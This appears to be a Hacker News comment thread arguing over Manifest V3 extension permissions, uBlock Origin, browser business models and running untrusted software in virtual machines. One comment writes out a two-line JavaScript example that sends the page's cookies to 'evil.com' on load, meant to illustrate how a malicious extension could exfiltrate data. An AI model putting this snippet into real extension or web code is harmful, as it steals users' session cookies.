To be honest, to me it sounds like you don't want browser extensions then.
To me, directly messing with web page data and browser behaviour is the whole point of a browser extension - what else is a browser extension for?
No thanks. They should have to declare to the browser what it is they want done instead.
I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});The argument has nothing at all to do with declaring permissions in a manifest.
Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data still leaves a lot of options for a malicious extension.
uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpetuity).
A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorical point and you elaborated on their point for them as if doing so expressed a disagreement.
Sounds like some kind of Stockholm syndrome. Years ago, it was standard practice for software to be designed so that users could grant permissions to access invasive methods or functions.
Google relies on users' personal data (ads), which is why they introduced a unique ID to their Chrome browser (to track).
Agreed. And you would think most paranoid HN types would too.
> It's just that uBlock Origin is so insanely useful, important and trusted
Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?
Seems like the only business model for this type of extension is "selling out" for certain ads. And then the cycle repeats and forum posters tell you to install qBlock Omega or whatever. Maybe Mozilla doesn't want to get in the middle of this?
They probably have strong implicit pressure not to.
Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.
I was under the impression that manifest v3 still allowed extensions to read anything, just not modify. Is that not the case? (Random link because this is hard to search for: https://news.ycombinator.com/item?id=38303446 )
Why are you installing random extensions?
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites.
Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? .
Sign of the times I guess.
Same reason why people download random stuff and run it with administrator permissions on Windows.
An extension that you trust today can be sold to an unscrupulous third-party tomorrow. That has happened many many times and will continue to.
I also don't want "random" programs accessing my home folder. That would be terrible! Who knows what programs that could be! I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily. Same for extensions.
The goal here isn't really to protect me from extensions. Extensions don't do anything on their own, they just sit there and wait for me to install them. So the goal is apparently to protect me from me (installing an extension), which really is to say protect their business (ads) from me (blocking them).
> I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily.
I don't. My standard operating practice is to virtualize them.
My security posture is considerably more lax towards free and open source software, for obvious reasons, and even then this trust only extends to the software in my Linux distribution's repositories. Stuff coming from PyPI, npm, cargo, ruby gems, and other such "developer centric" repositories get the full virtualization treatment. If it's easy for randoms to publish packages, then it's equally easy for malware to make it in.
I have a base system image that gets forked off into delta qcow2 images for every project I'm working on or whatever ephemeral execution context I need.
I started a side project to build software just to manage those VMs. I'm daily driving this thing even though it's my first "vibecoded" project, it's just way too useful and has saved me quite a few times from accidents.
https://github.com/matheusmoreira/virtdev
The firewall works but it's pretty clunky. I'm working on a custom Rust network stack to replace it.
You'd probably prefer something that isn't literally made by one guy and his AIs though. Docker sandboxes seem to be a good solution that also employs virtualization.
https://news.ycombinator.com/item?id=49239751
Before I made all this, I used to use firejail.
In fact, it is possible for people to be held to good conduct without being bound into a single hierarchy, and it should be possible for software to be held to good conduct without giving such power to single monopolists. But it's not in Google's interests to build such mechanisms, any more than it was in the interests of the feudal overlords to look for alternatives to their rule.
The fact someone gave developers a turing complete language inside the browser where random code is automatically downloaded and executed is a major reason why we even have uBlock Origin in the first place. The vast majority of developers heavily abuse this privilege and cannot be trusted, and that is why we block them with extreme prejudice.
The right thing is to simply bypass all of that. The fact is uBlock Origin should be literallly built into the browser like the good old popup blockers once were.
If only we had a browser that was independent of ad money.
Clearly “random” was used as a means of saying “any”, to describe extensions the author hasn’t thought of. That will be obvious to anyone arguing in good faith and steel manning the argument.
Yes, and I have actually started virtualizing everything inside my computer because of that belief. I don't want random software touching my trusted host.
"Random software" is currently defined as anything outside the official repositories of my Linux distribution of choice. I don't want to share a home directory with such things. I don't want to share a user and its permissions, I don't even want to share a kernel with them.